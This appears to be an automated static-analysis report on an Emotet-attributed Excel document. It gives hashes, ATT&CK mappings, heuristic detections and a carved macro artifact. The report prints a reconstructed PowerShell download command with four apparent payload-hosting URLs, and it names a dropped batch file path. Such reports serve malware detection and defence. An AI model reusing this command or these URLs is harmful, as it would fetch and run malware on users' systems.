Emotet — Office (OLE) / .XLSX malware analysis

Static analysis result for SHA-256 56e3825edd6748b9…

MALICIOUS

Office (OLE) / .XLSX

151.5 KB Created: 2015-06-05 18:17:20 Authoring application: Microsoft Excel
MD5: 9a143a01d5751e348d50419d95e5d1fe SHA-1: ab907df9649e7b22eba16ae0b67a0483e86fad99 SHA-256: 56e3825edd6748b9fdee9c5a1c03a1bc9f9d2d65dc6c965e341db6f7ffdb1cd0
280 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.001 PowerShell T1059.003 Windows Command Shell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The file contains VBA macros, specifically a Workbook_Open auto-execution routine, which is a common delivery mechanism for Emotet. The script constructs a command line that includes multiple URLs, likely for downloading and executing a second-stage payload. The reconstructed command line is: 'powershell -e " h t t p s : / / s t o r e . u x d u m m m i t . c o m / w p - a d m i n / V f g B A S Q 7 Z / , h t t p s : / / g l o r e n t a l . c o m / w p - a d m i n / f 1 e z E A J G T n S 6 I / , h t t p : / / c a n d i s e . b m i n t r a c t i v e . c o m / 1 g 9 4 n g o / 2 n 7 l J o P u P D a X / , h t t p : / / b a c c h i l e a t o r o p o c i c l o . o r g / "'. It also attempts to create and execute a batch file at 'c:\programdata\jledshf.bat'.

Heuristics 7

  • ClamAV: Doc.Downloader.EmotetExcel02222-9938901-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetExcel02222-9938901-0
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
df1eb14c222394595c0518b49eec2b55ed9573146c5f1717dedceddd2e199a2b		 vba-macro oletools.olevba.extract_macros (decoded VBA source) 12041 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.

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